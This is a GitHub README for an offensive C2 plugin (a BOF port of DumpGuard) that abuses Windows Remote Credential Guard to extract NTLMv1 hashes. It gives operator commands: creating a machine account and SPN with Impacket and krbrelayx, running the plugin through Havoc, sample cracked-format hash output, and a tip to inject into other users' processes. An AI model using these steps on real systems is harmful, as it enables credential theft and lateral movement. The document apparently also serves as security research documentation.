DumpGuard BOF

Beacon Object File (BOF) port of DumpGuard for extracting NTLMv1 hashes from sessions on modern Windows systems.

About This Project

This repository contains a Beacon Object File (BOF) implementation of DumpGuard, ported from the original C#/.NET implementation to pure C for use with Havoc and other C2 frameworks that support BOF execution.

This is a Proof of Concept (PoC) and a learning exercise.

This BOF port was created as part of my personal journey to understand the details of the Remote Credential Guard protocol, Kerberos authentication flows, and the underlying Windows security mechanisms. The process of porting this tool from C# to pure C for BOF execution was primarily an educational endeavor.

Please be aware that:

• This code may contain bugs, errors, or incomplete implementations.
• It has not been extensively tested across all Windows versions or configurations.
• Some edge cases or protocol nuances may not be properly handled.
• The implementation may differ from the original in ways that affect reliability.
• This is not production-ready code. Use at your own risk Ü.

If you find issues or have improvements, contributions are welcome. For a robust and well-tested implementation, please refer to the original DumpGuard tool.

Original Research

This BOF is based on the research and tooling by @bytewreck at SpecterOps:

• Original Tool: github.com/bytewreck/DumpGuard
• Blog Post: Catching Credential Guard Off Guard

Overview

DumpGuard exploits Windows Remote Credential Guard (RCG) to extract NTLMv1 hashes from logged-in users without touching LSASS memory and without requiring admin privileges. It works even when Credential Guard is enabled.

How It Works

1. Impersonate a CredSSP/RDP server locally. The BOF acts as a fake RDP server.
2. Trick Windows SSPI into performing a full Kerberos + CredSSP authentication.
3. Receive the user's credentials wrapped in TSRemoteGuardCreds.
4. Call LSA's TSSSP package to compute an NTLMv1 response with a known challenge.

The 4-Round CredSSP Dance

Round	Client -> Server	Server -> Client
1	SPNEGO + TGT-REQ	TGT-REPLY (from real KDC)
2	AP-REQ (service ticket)	AP-REP + MIC
3	PubKeyAuth (binding hash)	Server binding hash
4	AuthInfo (TSRemoteGuardCreds)	N/A

After Round 4, we have the encrypted credential blob. The magic happens when we call LsaCallAuthenticationPackage with the TSSSP package. LSA routes our request through RDPEAR -> TSRemoteGuard -> MSV1_0, which decrypts the secrets and computes the NTLMv1 response for us.

Background

Credential Guard isolates NTLM and Kerberos secrets in a secure VBS space (LsaIso.exe), preventing direct memory access attacks like Mimikatz. However, Credential Guard still needs to use those secrets for legitimate authentication. That's the interface this technique exploits.

For the full technical deep-dive, see: Catching Credential Guard Off Guard

Implementation

This BOF port only implements the "Self" mode from the original DumpGuard tool. The "All" modes are not implemented in this version.

Self Mode

Dumps the NTLMv1 hash of the current process user via the Remote Credential Guard protocol.

• Privilege Requirement: None (runs in current user context)
• Credential Guard Status: Works regardless of whether Credential Guard is enabled
• Requirements: Credentials for an account with a registered SPN

Extracting Other Users Hashes

While this BOF only implements "self" mode, you can still extract other users NTLMv1 hashes by, for example, injecting into a process running as that user. For example, if you have administrator privileges, you can inject the BOF into a process owned by another logged-in user to obtain their hash.

Prerequisites

SPN-Enabled Account

This technique requires credentials for an account that has a Service Principal Name (SPN) registered. One way to achieve this is by creating a machine account and adding an SPN to it.

Step 1: Create a Machine Account

Using Impacket:

python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>

Example output:

[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.

Step 2: Add an SPN to the Machine Account

Using krbrelayx addspn.py:

python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>

Step 3: Verify the SPN (if you want)

Using pywerview:

python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$

Look for serviceprincipalname: host/yourspn.domain.local in the output.

Usage

Havoc C2

inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>

Note: The x parameter is a placeholder/dummy argument required before the domain. This may be addressed in future versions (if any).

Example:

inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local

Example output:

[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788

Important: The extracted NTLMv1 hash belongs to the user running the BOF process, not the machine account used for authentication (EVIL_COMPUTER$). The machine account credentials are only used to authenticate to the KDC and establish the Remote Credential Guard session.

The output is in hashcat-compatible NTLMv1 format:

DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE

Build

make clean && make

Output: build/dumpguard.x64.o

Requirements

• Target must be a domain-joined Windows machine
• You need credentials for an SPN-enabled account (see Prerequisites)
• The BOF runs in the context of the current process user

References

Microsoft Documentation

• Credential Guard Overview
• Remote Credential Guard
• AcquireCredentialsHandle
• InitializeSecurityContext
• AcceptSecurityContext
• LsaRegisterLogonProcess
• LsaConnectUntrusted
• LsaCallAuthenticationPackage

Microsoft Protocols

• MS-RDPEAR - Remote Desktop Protocol: Authentication Redirection Virtual Channel Protocol
• MS-CSSP - Credential Security Support Provider Protocol

Research Papers & Blog Posts

• Catching Credential Guard Off Guard - Valdemar Caroe, SpecterOps (2025)
• Pass the Challenge: Defeating Windows Defender Credential Guard - Oliver Lyak (2022)
• Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero (2018)
• The LSA Whisperer Project - Evan McBroom, SpecterOps

License

BSD 3-Clause License

The original DumpGuard tool is licensed under BSD 3-Clause License, Copyright (c) 2025 Valdemar Carøe. This BOF port maintains the same license terms.

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For questions, bug reports, or contributions, please open an issue on GitHub.